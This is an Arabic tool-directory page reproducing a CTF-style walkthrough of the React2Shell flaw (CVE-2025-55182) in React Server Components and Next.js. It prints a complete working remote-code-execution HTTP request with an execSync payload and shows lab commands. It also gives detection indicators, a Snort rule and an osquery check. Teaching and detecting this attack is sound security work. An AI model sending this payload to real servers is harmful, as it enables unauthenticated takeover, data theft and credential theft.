Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
React2Shell-CVE-2025-55182 — React2Shell CVE-2025-55182: إلغاء تسلسل غير آمن دون مصادقة في مكونات خادم React مما يؤدي إلى تنفيذ تعليمات برمجية عن بعد موثوق عبر بروتوكول Flight. | Kitploit
أدوات/GitHubGitHub/adityabhatt3010/react2shell-cve-2025-55182
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبأمن الويبCTFاختبار الاختراقالتعلم والتعليمتطوير الحمولات

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHubadityabhatt3010/react2shell-cve-2025-55182

React2Shell-CVE-2025-55182

React2Shell CVE-2025-55182: إلغاء تسلسل غير آمن دون مصادقة في مكونات خادم React مما يؤدي إلى تنفيذ تعليمات برمجية عن بعد موثوق عبر بروتوكول Flight.

عرض المستودع
71منذ شهر واحدلم تتم المراجعة بعد

🎯 React2Shell (CVE-2025-55182): من مكونات خادم React إلى تنفيذ تعليمات برمجية عن بعد كامل

الصعوبة: متوسط ← متقدم
التصنيف: استغلال الويب | إزالة التسلسل | تنفيذ تعليمات برمجية عن بعد

Cover


🧩 المهمة 1: المقدمة — لماذا React2Shell أمر كبير

CVE-2025-55182، الملقب بـ React2Shell، هو أحد تلك الثغرات التي تجعل المدافعين يشعرون بالتوتر فورًا 😬. تم اكتشافها في ديسمبر 2025، وتحمل درجة CVSS 10.0، وهذا يخبرك بالفعل أنها ليست مجرد خطأ عادي.

في جوهرها، تؤثر هذه الثغرة على مكونات خادم React (RSC) والأطر المبنية عليها — وأبرزها Next.js. الجزء المخيف؟

👉 تنفيذ تعليمات برمجية عن بعد بدون مصادقة 👉 طلب HTTP واحد مصمم بعناية 👉 التكوينات الافتراضية قابلة للاستغلال

لا حاجة لتسجيل الدخول. لا أذونات خاصة. مجرد طلب واحد جيد الصياغة.

🔥 حزم React المتأثرة

  • react-server-dom-webpack
  • react-server-dom-parcel
  • react-server-dom-turbopack

✅ الإصدارات المصححة

  • 19.0.1
  • 19.1.2
  • 19.2.1

تشرح هذه الغرفة لماذا يوجد هذا الخلل، كيف يتم استغلاله، وماذا يمكن للمدافعين فعله حياله.

العلم: لا إجابة مطلوبة.


🧠 المهمة 2: مكونات خادم React وبروتوكول Flight

قبل الاستغلال، نحتاج إلى وضوح في البنية المعمارية.

ما هي مكونات خادم React؟

تسمح مكونات خادم React (المقدمة في React 19) لأجزاء من تطبيق React بالعمل على الخادم، وليس المتصفح. هذا يعني:

  • تبقى الحسابات الثقيلة على الخادم ⚙️
  • يتلقى العميل الإخراج المُعَرَّض فقط 📦
  • أداء أفضل، حزم أصغر

ادخل: React Flight ✈️

يحدث الاتصال بين العميل والخادم عبر بروتوكول React Flight. هذا البروتوكول يسلسل البيانات على العميل ويزيل تسلسلها على الخادم.

يستخدم علامات خاصة:

  • $@ → مرجع كتلة (Chunk reference)

  • $B → مرجع blob

  • مسارات الخصائص عبر تدوين النقطتين مثال:

    root@kitploit:~
    $1:constructor:constructor
    

⚠️ وهذا المنطق الخاص بالتسلسل هو بالضبط حيث يحدث الخلل.

سؤال: ما الرمز الذي يشير إلى مرجع blob؟ ✅ الإجابة: $B


💣 المهمة 3: الثغرة الأساسية — إزالة التسلسل غير الآمنة

في قلب CVE-2025-55182 يكمن خلل كلاسيكي في إزالة التسلسل غير الآمنة.

لننظر إلى النمط القابل للاستغلال (لا تقطع 👇):

root@kitploit:~
function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 // ... منطق إضافي ...  
 return moduleExports[metadata[2]];  // الخط القابل للاستغلال  
}  

لماذا هذا خطير؟

في JavaScript، تدوين القوسين:

root@kitploit:~
obj[someKey]

لا يحد من الوصول إلى الخصائص المُصَدَّرة فقط. بل يتجول في سلسلة النموذج الأولي بأكملها.

الآن يأتي الرؤية النقدية 👀:

  • كل دالة JavaScript لها .constructor
  • constructor يشير إلى منشئ الدالة
  • Function("code") = تنفيذ JS عشوائي

تسليح مراجع Flight

لأن بروتوكول Flight يسمح بمسارات مفصولة بنقطتين، يمكن للمهاجم إرسال:

root@kitploit:~
$1:constructor:constructor

والذي يحل إلى:

  1. احصل على كتلة الوحدة النمطية
  2. الوصول إلى .constructor
  3. الوصول إلى .constructor مرة أخرى → Function

عند هذه النقطة، انتهت اللعبة 🎮.

العلم: لا إجابة مطلوبة.


🧨 المهمة 4: سلسلة الاستغلال — من الخلل إلى تنفيذ التعليمات البرمجية عن بعد

الآن دعنا نحلل PoC الخاص بـ maple3142، خطوة بخطوة.

🧩 المرحلة 1: كائن كتلة مزيف

يرسل المهاجم طلبًا متعدد الأجزاء يحتوي على كائن كتلة مزيف:

root@kitploit:~
{  
 "then": "$1:__proto__:then",  
 "status": "resolved_model",  
 "reason": -1,  
 "value": "{\\"then\\":\\"$B1337\\"}",  
 "_response": {  
   "_prefix": "process.mainModule.require('child_process').execSync('xcalc');",  
   "_chunks": "$Q2",  
   "_formData": {  
     "get": "$1:constructor:constructor"  
   }  
 }  
}

يقلد هذا الكائن هيكل الكتلة الداخلي لـ React. بتوجيه then إلى Chunk.prototype.then، يتم خداع React لـ انتظار منطق يتحكم فيه المهاجم.


🧩 المرحلة 2: إساءة استخدام معالج blob

العلامة $B1337 تُفعّل معالج إزالة تسلسل blob، والذي ينفذ داخليًا:

root@kitploit:~
response._formData.get(response._prefix + id)

لكننا سمّمنا:

  • _formData.get → Function
  • _prefix → JS ضار

ينتج عن ذلك التنفيذ:

root@kitploit:~
Function("process.mainModule.require('child_process').execSync('xcalc');1337")

💥 تم تحقيق تنفيذ JavaScript عشوائي.


🧩 المرحلة 3: تنفيذ أوامر نظام التشغيل

ينفذ PoC:

root@kitploit:~
process.mainModule
  .require('child_process')
  .execSync('xcalc')

يمكن استبدال هذا بسهولة بـ:

  • شل عكسي
  • تسريب الأسرار
  • قراءة الملفات
  • سرقة بيانات اعتماد السحابة ☠️

العلم: لا إجابة مطلوبة.


📦 المهمة 5: تفصيل PoC HTTP الكامل

هذا هو طلب الاستغلال الكامل (حرفيًا، غير مقطوع):

root@kitploit:~
POST / HTTP/1.1  
Host: localhost  
Next-Action: x  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\"then\\":\\"$B1337\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="1"

"$@0"  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name="2"

[]  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--  

(...يستمر جسم الطلب متعدد الأجزاء...)

النقاط الرئيسية التي يجب ملاحظتها 👇

  • رأس Next-Action يُفعّل إجراءات الخادم
  • multipart/form-data إجباري
  • $@0 ينشئ مرجعًا ذاتيًا
  • $B1337 يُفعّل منطق blob
  • constructor:constructor يؤدي إلى Function

هذا ليس عرضيًا — إنه سلسلة مصممة بدقة.


🌍 النظام البيئي المتأثر

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0

  • Next.js:

    • ≥14.3.0-canary.77
    • جميع إصدارات 15.x
    • أوائل 16.x
  • أخرى: React Router (RSC), Waku, Redwood SDK

📊 بحث Wiz: 39% من البيئات السحابية مكشوفة 🌐 Shodan: 571k+ خادم React، 444k+ Next.js

هذا... كثير 😶


🧪 المهمة 6: الاستغلال في المختبر

أولاً في Repeater، قم بإنشاء طلب HTTP جديد واختر الهدف.

1

باستخدام Burp Suite Repeater، نرسل الحمولة:

root@kitploit:~
execSync('id')

2

ولاحقًا:

root@kitploit:~
execSync('whoami')

3

✅ النتائج

  • المستخدم: ubuntu

  • العلم:

    root@kitploit:~
    {React-19.2.0}
    

استغلال نظيف وموثوق وقابل للتكرار 💀


🛡️ المهمة 7: الكشف والدفاع

أخبار جيدة للمدافعين 👮‍♂️ — الاستغلال يترك بصمات.

🔎 مؤشرات الهجوم

  • رأس Next-Action
  • multipart/form-data
  • "status":"resolved_model"
  • "then":"$1:__proto__:then"

هذه لا يجب أن تظهر أبدًا في حركة المرور العادية للمستخدمين.


🚨 قاعدة Snort (v3)

root@kitploit:~
alert http any any -> $LAN_NETWORK any (
    msg:"Potential Next.js React2Shell / CVE-2025-66478 attempt";
    flow:to_server,established;
    content:"Next-Action"; http_header; nocase;
    content:"multipart/form-data"; http_header; nocase;
    pcre:"/Content-Disposition:\s*form-data;\s*name=\"0\"/s";
    pcre:"/\"status\"\s*:\s*\"resolved_model\"/s";
    pcre:"/\"then\"\s*:\s*\"\$1:__proto__:then\"/s";
    classtype:web-application-attack;
    sid:6655001;
    rev:1;
)

🧾 OSQuery — العثور على الحزم القابلة للاستغلال

root@kitploit:~
{
  "queries": {
    "detect_rev2shell_react_server_components": {
      "query": "SELECT name, version, path FROM npm_packages WHERE ...",
      "interval": 3600
    }
  }
}

ممتاز لـ:

  • خطوط أنابيب CI/CD
  • تدقيق نقاط النهاية
  • فحوصات ما قبل الإنتاج

4


🧠 أفكار نهائية

React2Shell هو مثال نصي على:

  • لماذا إزالة التسلسل غير الآمنة قاتلة
  • كيف يمكن لسلسلة النموذج الأولي أن تخونك
  • لماذا "التكوينات الافتراضية" خطيرة

بمجرد تثبيت الإصدارات المصححة واتباع توصيات npm audit، يموت الاستغلال تمامًا ✅.

⚠️ لا تختبر هذا أبدًا خارج المختبرات المصرح بها.
🔥 قم دائمًا بالتحديث بسرعة.
🧠 افهم دائمًا لماذا يوجد الخلل — وليس فقط كيفية استغلاله.


⭐ تابعني وتواصل معي

إذا أعجبك هذا الشرح أو تريد البقاء على اتصال بعملي في مجال الأمن السيبراني وCTFs وVAPT:

🔗 GitHub: https://github.com/AdityaBhatt3010
💼 LinkedIn: https://www.linkedin.com/in/adityabhatt3010/
✍️ Medium: https://medium.com/@adityabhatt3010

اختراق سعيد — بمسؤولية 🗿🚀


تنزيل الأداة